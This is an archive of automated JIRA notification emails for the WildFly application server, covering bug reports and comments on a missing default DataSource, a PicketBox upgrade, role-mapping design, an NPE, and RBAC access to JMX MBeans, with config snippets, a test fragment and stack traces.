In-Reply-To: <JIRA.12500313.1378739268000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500313.1378739268000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500313.1378739268000.17787.1378815365183@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-2027?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Scott Marlow updated WFLY-2027:
-------------------------------

    Component/s: EE
                     (was: JPA / Hibernate)

    
> EE Default DataSource is not working
> ------------------------------------
>
>                 Key: WFLY-2027
>                 URL: https://issues.jboss.org/browse/WFLY-2027
>             Project: WildFly
>          Issue Type: Bug
>          Components: EE
>    Affects Versions: 8.0.0.Alpha4
>            Reporter: Lincoln Baxter III
>            Assignee: Scott Marlow
>
> The EE spec states that a default datasource must be supplied under: java:comp/DefaultDataSource, and if none is specified by the @Resource or persistence.xml, it must be assumed:
>  {code}EE 5.19
> The Java EE Platform requires that a Java EE Product Provider provide a database 
> in the operational environment (see Section EE.2.6, ?Database?). The Java EE 
> Product Provider must also provide a preconfigured, default data source for use by 
> the application in accessing this database.
> The Java EE Product Provider must make the default data source accessible to 
> the application under the JNDI name java:comp/DefaultDataSource.
> The Application Component Provider or Deployer may explicitly bind a 
> DataSource resource reference to the default data source using the lookup element 
> of the Resource annotation or the lookup-name element of the resource-ref
> deployment descriptor element. For example,
> @Resource(lookup="java:comp/DefaultDataSource")
> DataSource myDS;
> In the absence of such a binding, the mapping of the reference will default to 
> the product's default data source.
> For example, the following will map to a preconfigured data source for the 
> product's default database:
> @Resource
> DataSource myDS;{code}
> This, isn't working however:
> {code}
> <persistence version="2.1" xmlns="http://xmlns.jcp.org/xml/ns/persistence" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
>    xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/persistence http://www.oracle.com/webfolder/technetwork/jsc/xml/ns/persistence/persistence_2_1.xsd">
>    <persistence-unit name="default" transaction-type="JTA">
>    </persistence-unit>
> </persistence>{code}
> Results in: 
> {code}
> 10:41:31,002 ERROR [org.jboss.msc.service.fail] (ServerService Thread Pool -- 50) MSC000001: Failed to start service jboss.persistenceunit."jpa-standard.war#default": org.jboss.msc.service.StartException in service jboss.persistenceunit."jpa-standard.war#default": org.hibernate.HibernateException: Connection cannot be null when 'hibernate.dialect' not set
> 	at org.jboss.as.jpa.service.PersistenceUnitServiceImpl$1.run(PersistenceUnitServiceImpl.java:134) [wildfly-jpa-8.0.0.Alpha4.jar:8.0.0.Alpha4]
> 	at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145) [rt.jar:1.7.0_21]
> 	at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:615) [rt.jar:1.7.0_21]
> 	at java.lang.Thread.run(Thread.java:722) [rt.jar:1.7.0_21]
> 	at org.jboss.threads.JBossThread.run(JBossThread.java:122) [jboss-threads-2.1.0.Final.jar:2.1.0.Final]
> Caused by: org.hibernate.HibernateException: Connection cannot be null when 'hibernate.dialect' not set
> 	at org.hibernate.engine.jdbc.dialect.internal.DialectFactoryImpl.determineDialect(DialectFactoryImpl.java:98)
> 	at org.hibernate.engine.jdbc.dialect.internal.DialectFactoryImpl.buildDialect(DialectFactoryImpl.java:66)
> 	at org.hibernate.engine.jdbc.internal.JdbcServicesImpl.configure(JdbcServicesImpl.java:193)
> 	at org.hibernate.boot.registry.internal.StandardServiceRegistryImpl.configureService(StandardServiceRegistryImpl.java:88)
> 	at org.hibernate.service.internal.AbstractServiceRegistryImpl.initializeService(AbstractServiceRegistryImpl.java:159)
> 	at org.hibernate.service.internal.AbstractServiceRegistryImpl.getService(AbstractServiceRegistryImpl.java:131)
> 	at org.hibernate.cfg.Configuration.buildTypeRegistrations(Configuration.java:1844)
> 	at org.hibernate.cfg.Configuration.buildSessionFactory(Configuration.java:1802)
> 	at org.hibernate.jpa.boot.internal.EntityManagerFactoryBuilderImpl$4.perform(EntityManagerFactoryBuilderImpl.java:844)
> 	at org.hibernate.jpa.boot.internal.EntityManagerFactoryBuilderImpl$4.perform(EntityManagerFactoryBuilderImpl.java:836)
> 	at org.hibernate.boot.registry.classloading.internal.ClassLoaderServiceImpl.withTccl(ClassLoaderServiceImpl.java:368)
> 	at org.hibernate.jpa.boot.internal.EntityManagerFactoryBuilderImpl.build(EntityManagerFactoryBuilderImpl.java:835)
> 	at org.jboss.as.jpa.hibernate4.management.TwoPhaseBootstrapImpl.build(TwoPhaseBootstrapImpl.java:44)
> 	at org.jboss.as.jpa.service.PersistenceUnitServiceImpl$1.run(PersistenceUnitServiceImpl.java:115) [wildfly-jpa-8.0.0.Alpha4.jar:8.0.0.Alpha4]
> 	... 4 more
> 10:41:31,010 ERROR [org.jboss.as.controller.management-operation] (DeploymentScanner-threads - 1) JBAS014613: Operation ("full-replace-deployment") failed - address: ([]) - failure description: {"JBAS014671: Failed services" => {"jboss.persistenceunit.\"jpa-standard.war#default\"" => "org.jboss.msc.service.StartException in service jboss.persistenceunit.\"jpa-standard.war#default\": org.hibernate.HibernateException: Connection cannot be null when 'hibernate.dialect' not set
>     Caused by: org.hibernate.HibernateException: Connection cannot be null when 'hibernate.dialect' not set"}}
> {code}
> Additionally, actually specifying the expected JDNI name of the default DS like this:
> {code}   <persistence-unit name="default" transaction-type="JTA">
>       <jta-data-source>java:comp/DefaultDataSource</jta-data-source>
>       <exclude-unlisted-classes>false</exclude-unlisted-classes>
>    </persistence-unit>{code}
> Results in this:
> {code}
> JBAS014775:    New missing/unsatisfied dependencies:
>       service jboss.naming.context.java.module.jpa-standard.jpa-standard.DefaultDataSource (missing) dependents: [service jboss.persistenceunit."jpa-standard.war#default".__FIRST_PHASE__] 
>       service jboss.persistenceunit."jpa-standard.war#default".__FIRST_PHASE__ (missing) dependents: [service jboss.deployment.unit."jpa-standard.war".POST_MODULE] 
> {code}

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira


From jira-events at lists.jboss.org  Tue Sep 10 08:22:03 2013
From: jira-events at lists.jboss.org (Peter Skopek (JIRA))
Date: Tue, 10 Sep 2013 08:22:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2038) Upgrade to PicketBox
	4.019.Final
In-Reply-To: <JIRA.12500396.1378815643690@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500396.1378815643690@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500396.1378815643690.17799.1378815723497@jira02.app.mwc.hst.phx2.redhat.com>

Peter Skopek created WFLY-2038:
----------------------------------

             Summary: Upgrade to PicketBox 4.019.Final
                 Key: WFLY-2038
                 URL: https://issues.jboss.org/browse/WFLY-2038
             Project: WildFly
          Issue Type: Component  Upgrade
          Components: Security
    Affects Versions: 8.0.0.Alpha4
            Reporter: Peter Skopek
            Assignee: Peter Skopek


New version of PicketBox consist of several fixes and new SecurityVault implementation.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep 10 08:24:03 2013
From: jira-events at lists.jboss.org (Peter Skopek (JIRA))
Date: Tue, 10 Sep 2013 08:24:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2038) Upgrade to PicketBox
	4.0.19.Final
In-Reply-To: <JIRA.12500396.1378815643000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500396.1378815643000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500396.1378815643000.17805.1378815843561@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-2038?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Peter Skopek updated WFLY-2038:
-------------------------------

    Summary: Upgrade to PicketBox 4.0.19.Final  (was: Upgrade to PicketBox 4.019.Final)

    
> Upgrade to PicketBox 4.0.19.Final
> ---------------------------------
>
>                 Key: WFLY-2038
>                 URL: https://issues.jboss.org/browse/WFLY-2038
>             Project: WildFly
>          Issue Type: Component  Upgrade
>          Components: Security
>    Affects Versions: 8.0.0.Alpha4
>            Reporter: Peter Skopek
>            Assignee: Peter Skopek
>
> New version of PicketBox consist of several fixes and new SecurityVault implementation.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep 10 08:24:03 2013
From: jira-events at lists.jboss.org (Heiko Braun (JIRA))
Date: Tue, 10 Sep 2013 08:24:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2034) Conflict between
 mgmt-groups.properties and "/access=authorisation"
In-Reply-To: <JIRA.12500388.1378813798000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500388.1378813798000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500388.1378813798000.17810.1378815843787@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-2034?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12803072#comment-12803072 ] 

Heiko Braun commented on WFLY-2034:
-----------------------------------

That would be one solution, yes. I thin it's really confusing to have two sources for role mappings.
                
> Conflict between mgmt-groups.properties and "/access=authorisation"
> -------------------------------------------------------------------
>
>                 Key: WFLY-2034
>                 URL: https://issues.jboss.org/browse/WFLY-2034
>             Project: WildFly
>          Issue Type: Clarification
>          Components: Domain Management
>            Reporter: Heiko Braun
>            Assignee: Brian Stansberry
>             Fix For: 8.0.0.CR1
>
>
> The two concepts are conflicting IMO. It would be better to use a single source for the role assignments. Currently the assigned roles either showup in mgmt-groups.properties or within the management model.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep 10 08:24:04 2013
From: jira-events at lists.jboss.org (Eduardo Martins (JIRA))
Date: Tue, 10 Sep 2013 08:24:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2039) NPE on
	TransactionSetupProviderImpl
In-Reply-To: <JIRA.12500397.1378815789491@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500397.1378815789491@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500397.1378815789491.17815.1378815844049@jira02.app.mwc.hst.phx2.redhat.com>

Eduardo Martins created WFLY-2039:
-------------------------------------

             Summary: NPE on TransactionSetupProviderImpl
                 Key: WFLY-2039
                 URL: https://issues.jboss.org/browse/WFLY-2039
             Project: WildFly
          Issue Type: Feature Request
          Components: EE
            Reporter: Eduardo Martins
            Assignee: Eduardo Martins


If EE Concurrent ContextService is configured to use the transaction setup provider, and there is no transaction in context, then a NPE is throw on TransactionSetupProviderImpl.afterProxyMethod()

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep 10 08:24:04 2013
From: jira-events at lists.jboss.org (Heiko Braun (JIRA))
Date: Tue, 10 Sep 2013 08:24:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2034) Conflict between
 mgmt-groups.properties and "/access=authorisation"
In-Reply-To: <JIRA.12500388.1378813798000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500388.1378813798000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500388.1378813798000.17827.1378815844639@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-2034?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12803072#comment-12803072 ] 

Heiko Braun edited comment on WFLY-2034 at 9/10/13 8:23 AM:
------------------------------------------------------------

That would be one solution, yes. I thin it's really confusing to have two sources for role mappings. Do you see any problems with this?
                
      was (Author: heiko.braun):
    That would be one solution, yes. I thin it's really confusing to have two sources for role mappings.
                  
> Conflict between mgmt-groups.properties and "/access=authorisation"
> -------------------------------------------------------------------
>
>                 Key: WFLY-2034
>                 URL: https://issues.jboss.org/browse/WFLY-2034
>             Project: WildFly
>          Issue Type: Clarification
>          Components: Domain Management
>            Reporter: Heiko Braun
>            Assignee: Brian Stansberry
>             Fix For: 8.0.0.CR1
>
>
> The two concepts are conflicting IMO. It would be better to use a single source for the role assignments. Currently the assigned roles either showup in mgmt-groups.properties or within the management model.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep 10 08:26:04 2013
From: jira-events at lists.jboss.org (Darran Lofthouse (JIRA))
Date: Tue, 10 Sep 2013 08:26:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2034) Conflict between
 mgmt-groups.properties and "/access=authorisation"
In-Reply-To: <JIRA.12500388.1378813798000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500388.1378813798000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500388.1378813798000.17843.1378815964108@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-2034?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12803077#comment-12803077 ] 

Darran Lofthouse commented on WFLY-2034:
----------------------------------------

The main problem being that users would no longer have any short cut for role mapping definitions where there is a 1:1 mapping between group names and role names.  The remaining role mapping configuration is always going to be required where the 1:1 mapping does not exist.

                
> Conflict between mgmt-groups.properties and "/access=authorisation"
> -------------------------------------------------------------------
>
>                 Key: WFLY-2034
>                 URL: https://issues.jboss.org/browse/WFLY-2034
>             Project: WildFly
>          Issue Type: Clarification
>          Components: Domain Management
>            Reporter: Heiko Braun
>            Assignee: Brian Stansberry
>             Fix For: 8.0.0.CR1
>
>
> The two concepts are conflicting IMO. It would be better to use a single source for the role assignments. Currently the assigned roles either showup in mgmt-groups.properties or within the management model.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep 10 08:34:03 2013
From: jira-events at lists.jboss.org (Heiko Braun (JIRA))
Date: Tue, 10 Sep 2013 08:34:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2034) Conflict between
 mgmt-groups.properties and "/access=authorisation"
In-Reply-To: <JIRA.12500388.1378813798000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500388.1378813798000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500388.1378813798000.17858.1378816443592@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-2034?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12803072#comment-12803072 ] 

Heiko Braun edited comment on WFLY-2034 at 9/10/13 8:32 AM:
------------------------------------------------------------

That would be one solution, yes. I think it's really confusing to have two sources for role mappings. Do you see any problems with this?
                
      was (Author: heiko.braun):
    That would be one solution, yes. I thin it's really confusing to have two sources for role mappings. Do you see any problems with this?
                  
> Conflict between mgmt-groups.properties and "/access=authorisation"
> -------------------------------------------------------------------
>
>                 Key: WFLY-2034
>                 URL: https://issues.jboss.org/browse/WFLY-2034
>             Project: WildFly
>          Issue Type: Clarification
>          Components: Domain Management
>            Reporter: Heiko Braun
>            Assignee: Brian Stansberry
>             Fix For: 8.0.0.CR1
>
>
> The two concepts are conflicting IMO. It would be better to use a single source for the role assignments. Currently the assigned roles either showup in mgmt-groups.properties or within the management model.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep 10 08:34:03 2013
From: jira-events at lists.jboss.org (Darran Lofthouse (JIRA))
Date: Tue, 10 Sep 2013 08:34:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2037) Login as user with no role
 assigned leads to 500 error page
In-Reply-To: <JIRA.12500302.1378733298000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500302.1378733298000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500302.1378733298000.17864.1378816443880@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-2037?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12803080#comment-12803080 ] 

Darran Lofthouse commented on WFLY-2037:
----------------------------------------

I would suggest dropping back to a 403 error in this case may be more appropriate.  Not all users in a repository of users should be assumed as being allowed to access the server.
                
> Login as user with no role assigned leads to 500 error page
> -----------------------------------------------------------
>
>                 Key: WFLY-2037
>                 URL: https://issues.jboss.org/browse/WFLY-2037
>             Project: WildFly
>          Issue Type: Bug
>          Components: Domain Management
>            Reporter: Jakub Cechacek
>            Assignee: Brian Stansberry
>              Labels: rbac-filed-by-qa
>             Fix For: 8.0.0.Beta1
>
>
> Some message other than the default 500 error page should be displayed in such case. 

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep 10 08:52:03 2013
From: jira-events at lists.jboss.org (Scott Marlow (JIRA))
Date: Tue, 10 Sep 2013 08:52:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2027) EE Default DataSource is not
	working
In-Reply-To: <JIRA.12500313.1378739268000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500313.1378739268000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500313.1378739268000.17918.1378817523536@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-2027?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Scott Marlow updated WFLY-2027:
-------------------------------

    Component/s: ConfigAdmin
                 Domain Management
                 JCA
                 JPA / Hibernate
                 Web Console

    
> EE Default DataSource is not working
> ------------------------------------
>
>                 Key: WFLY-2027
>                 URL: https://issues.jboss.org/browse/WFLY-2027
>             Project: WildFly
>          Issue Type: Bug
>          Components: ConfigAdmin, Domain Management, EE, JCA, JPA / Hibernate, Web Console
>    Affects Versions: 8.0.0.Alpha4
>            Reporter: Lincoln Baxter III
>            Assignee: Scott Marlow
>
> The EE spec states that a default datasource must be supplied under: java:comp/DefaultDataSource, and if none is specified by the @Resource or persistence.xml, it must be assumed:
>  {code}EE 5.19
> The Java EE Platform requires that a Java EE Product Provider provide a database 
> in the operational environment (see Section EE.2.6, ?Database?). The Java EE 
> Product Provider must also provide a preconfigured, default data source for use by 
> the application in accessing this database.
> The Java EE Product Provider must make the default data source accessible to 
> the application under the JNDI name java:comp/DefaultDataSource.
> The Application Component Provider or Deployer may explicitly bind a 
> DataSource resource reference to the default data source using the lookup element 
> of the Resource annotation or the lookup-name element of the resource-ref
> deployment descriptor element. For example,
> @Resource(lookup="java:comp/DefaultDataSource")
> DataSource myDS;
> In the absence of such a binding, the mapping of the reference will default to 
> the product's default data source.
> For example, the following will map to a preconfigured data source for the 
> product's default database:
> @Resource
> DataSource myDS;{code}
> This, isn't working however:
> {code}
> <persistence version="2.1" xmlns="http://xmlns.jcp.org/xml/ns/persistence" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
>    xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/persistence http://www.oracle.com/webfolder/technetwork/jsc/xml/ns/persistence/persistence_2_1.xsd">
>    <persistence-unit name="default" transaction-type="JTA">
>    </persistence-unit>
> </persistence>{code}
> Results in: 
> {code}
> 10:41:31,002 ERROR [org.jboss.msc.service.fail] (ServerService Thread Pool -- 50) MSC000001: Failed to start service jboss.persistenceunit."jpa-standard.war#default": org.jboss.msc.service.StartException in service jboss.persistenceunit."jpa-standard.war#default": org.hibernate.HibernateException: Connection cannot be null when 'hibernate.dialect' not set
> 	at org.jboss.as.jpa.service.PersistenceUnitServiceImpl$1.run(PersistenceUnitServiceImpl.java:134) [wildfly-jpa-8.0.0.Alpha4.jar:8.0.0.Alpha4]
> 	at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145) [rt.jar:1.7.0_21]
> 	at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:615) [rt.jar:1.7.0_21]
> 	at java.lang.Thread.run(Thread.java:722) [rt.jar:1.7.0_21]
> 	at org.jboss.threads.JBossThread.run(JBossThread.java:122) [jboss-threads-2.1.0.Final.jar:2.1.0.Final]
> Caused by: org.hibernate.HibernateException: Connection cannot be null when 'hibernate.dialect' not set
> 	at org.hibernate.engine.jdbc.dialect.internal.DialectFactoryImpl.determineDialect(DialectFactoryImpl.java:98)
> 	at org.hibernate.engine.jdbc.dialect.internal.DialectFactoryImpl.buildDialect(DialectFactoryImpl.java:66)
> 	at org.hibernate.engine.jdbc.internal.JdbcServicesImpl.configure(JdbcServicesImpl.java:193)
> 	at org.hibernate.boot.registry.internal.StandardServiceRegistryImpl.configureService(StandardServiceRegistryImpl.java:88)
> 	at org.hibernate.service.internal.AbstractServiceRegistryImpl.initializeService(AbstractServiceRegistryImpl.java:159)
> 	at org.hibernate.service.internal.AbstractServiceRegistryImpl.getService(AbstractServiceRegistryImpl.java:131)
> 	at org.hibernate.cfg.Configuration.buildTypeRegistrations(Configuration.java:1844)
> 	at org.hibernate.cfg.Configuration.buildSessionFactory(Configuration.java:1802)
> 	at org.hibernate.jpa.boot.internal.EntityManagerFactoryBuilderImpl$4.perform(EntityManagerFactoryBuilderImpl.java:844)
> 	at org.hibernate.jpa.boot.internal.EntityManagerFactoryBuilderImpl$4.perform(EntityManagerFactoryBuilderImpl.java:836)
> 	at org.hibernate.boot.registry.classloading.internal.ClassLoaderServiceImpl.withTccl(ClassLoaderServiceImpl.java:368)
> 	at org.hibernate.jpa.boot.internal.EntityManagerFactoryBuilderImpl.build(EntityManagerFactoryBuilderImpl.java:835)
> 	at org.jboss.as.jpa.hibernate4.management.TwoPhaseBootstrapImpl.build(TwoPhaseBootstrapImpl.java:44)
> 	at org.jboss.as.jpa.service.PersistenceUnitServiceImpl$1.run(PersistenceUnitServiceImpl.java:115) [wildfly-jpa-8.0.0.Alpha4.jar:8.0.0.Alpha4]
> 	... 4 more
> 10:41:31,010 ERROR [org.jboss.as.controller.management-operation] (DeploymentScanner-threads - 1) JBAS014613: Operation ("full-replace-deployment") failed - address: ([]) - failure description: {"JBAS014671: Failed services" => {"jboss.persistenceunit.\"jpa-standard.war#default\"" => "org.jboss.msc.service.StartException in service jboss.persistenceunit.\"jpa-standard.war#default\": org.hibernate.HibernateException: Connection cannot be null when 'hibernate.dialect' not set
>     Caused by: org.hibernate.HibernateException: Connection cannot be null when 'hibernate.dialect' not set"}}
> {code}
> Additionally, actually specifying the expected JDNI name of the default DS like this:
> {code}   <persistence-unit name="default" transaction-type="JTA">
>       <jta-data-source>java:comp/DefaultDataSource</jta-data-source>
>       <exclude-unlisted-classes>false</exclude-unlisted-classes>
>    </persistence-unit>{code}
> Results in this:
> {code}
> JBAS014775:    New missing/unsatisfied dependencies:
>       service jboss.naming.context.java.module.jpa-standard.jpa-standard.DefaultDataSource (missing) dependents: [service jboss.persistenceunit."jpa-standard.war#default".__FIRST_PHASE__] 
>       service jboss.persistenceunit."jpa-standard.war#default".__FIRST_PHASE__ (missing) dependents: [service jboss.deployment.unit."jpa-standard.war".POST_MODULE] 
> {code}

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira


From jira-events at lists.jboss.org  Tue Sep 10 08:56:03 2013
From: jira-events at lists.jboss.org (Ladislav Thon (JIRA))
Date: Tue, 10 Sep 2013 08:56:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2040) RBAC + JMX: auditor can't
 read sensitive non-core MBeans
In-Reply-To: <JIRA.12500404.1378817677952@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500404.1378817677952@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500404.1378817677952.17935.1378817763461@jira02.app.mwc.hst.phx2.redhat.com>

Ladislav Thon created WFLY-2040:
-----------------------------------

             Summary: RBAC + JMX: auditor can't read sensitive non-core MBeans
                 Key: WFLY-2040
                 URL: https://issues.jboss.org/browse/WFLY-2040
             Project: WildFly
          Issue Type: Bug
          Components: Domain Management, JMX
            Reporter: Ladislav Thon
            Assignee: Kabir Khan


If I set non-core MBeans to be sensitive, like

{code:xml}
<subsystem xmlns="urn:jboss:domain:jmx:1.3">
    <expose-resolved-model/>
    <expose-expression-model/>
    <remoting-connector/>
    <sensitivity non-core-mbeans="true"/>
</subsystem>
{code}

then I expect all roles that can read sensitive data (administrator, auditor, superuser) to be able to read non-core MBeans too. This is currently broken, as only administrator and superuser can read non-core MBeans, auditor cannot. I have a test case for this that I will submit later, but the important part is:

{code}
boolean successExpected = ...; // 'true' for auditor

MBeanServerConnection connection = ...;
ObjectName domain = new ObjectName("java.lang:type=OperatingSystem");
try {
    Object attribute = connection.getAttribute(domain, "Name");
    assertTrue("Failure was expected", successExpected);
    assertEquals(System.getProperty("os.name"), attribute.toString());
} catch (IOException e) {
    if (e.getCause() instanceof RuntimeMBeanException && e.getCause().getMessage().contains("11360")) {
        assertFalse("Success was expected but failure happened: " + e, successExpected);
    } else {
        throw e;
    }
}
{code}

Please note that I'm speaking about _reading_ sensitive data, which, if I understand correctly, auditor _can_ do.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep 10 08:56:03 2013
From: jira-events at lists.jboss.org (Ladislav Thon (JIRA))
Date: Tue, 10 Sep 2013 08:56:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2040) RBAC + JMX: auditor can't
 read sensitive non-core MBeans
In-Reply-To: <JIRA.12500404.1378817677000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500404.1378817677000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500404.1378817677000.17938.1378817763646@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-2040?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Ladislav Thon updated WFLY-2040:
--------------------------------

        Parent: WFLY-490
    Issue Type: Sub-task  (was: Bug)

    
> RBAC + JMX: auditor can't read sensitive non-core MBeans
> --------------------------------------------------------
>
>                 Key: WFLY-2040
>                 URL: https://issues.jboss.org/browse/WFLY-2040
>             Project: WildFly
>          Issue Type: Sub-task
>          Components: Domain Management, JMX
>            Reporter: Ladislav Thon
>            Assignee: Kabir Khan
>              Labels: rbac-filed-by-qa
>
> If I set non-core MBeans to be sensitive, like
> {code:xml}
> <subsystem xmlns="urn:jboss:domain:jmx:1.3">
>     <expose-resolved-model/>
>     <expose-expression-model/>
>     <remoting-connector/>
>     <sensitivity non-core-mbeans="true"/>
> </subsystem>
> {code}
> then I expect all roles that can read sensitive data (administrator, auditor, superuser) to be able to read non-core MBeans too. This is currently broken, as only administrator and superuser can read non-core MBeans, auditor cannot. I have a test case for this that I will submit later, but the important part is:
> {code}
> boolean successExpected = ...; // 'true' for auditor
> MBeanServerConnection connection = ...;
> ObjectName domain = new ObjectName("java.lang:type=OperatingSystem");
> try {
>     Object attribute = connection.getAttribute(domain, "Name");
>     assertTrue("Failure was expected", successExpected);
>     assertEquals(System.getProperty("os.name"), attribute.toString());
> } catch (IOException e) {
>     if (e.getCause() instanceof RuntimeMBeanException && e.getCause().getMessage().contains("11360")) {
>         assertFalse("Success was expected but failure happened: " + e, successExpected);
>     } else {
>         throw e;
>     }
> }
> {code}
> Please note that I'm speaking about _reading_ sensitive data, which, if I understand correctly, auditor _can_ do.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep 10 09:00:05 2013
From: jira-events at lists.jboss.org (Scott Marlow (JIRA))
Date: Tue, 10 Sep 2013 09:00:05 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1830) Wildfly High Availability
 Guide: Hibernate clustering write up
In-Reply-To: <JIRA.12497991.1375720255000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12497991.1375720255000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12497991.1375720255000.17954.1378818005619@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1830?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12803103#comment-12803103 ] 

Scott Marlow commented on WFLY-1830:
------------------------------------

The JPA/Hibernate clustering write up will mention how extended persistence contexts are replicated with the stateful session beans that reference them.  

For example, if 100 stateful session bean instances reference the same extended persistence context (same pu name), those same 100 bean instances will be replicated and always fail-over to the same node (as promised by [~pferraro].  Since we are documenting how clustering can be used, this might be a good time to also document how clustered EJB fail-over works and the guarentee that allows extended persistence context clustering to work correctly (so that the above contract isn't forgotten over time and is known by more than two people).


                
> Wildfly High Availability Guide: Hibernate clustering write up
> --------------------------------------------------------------
>
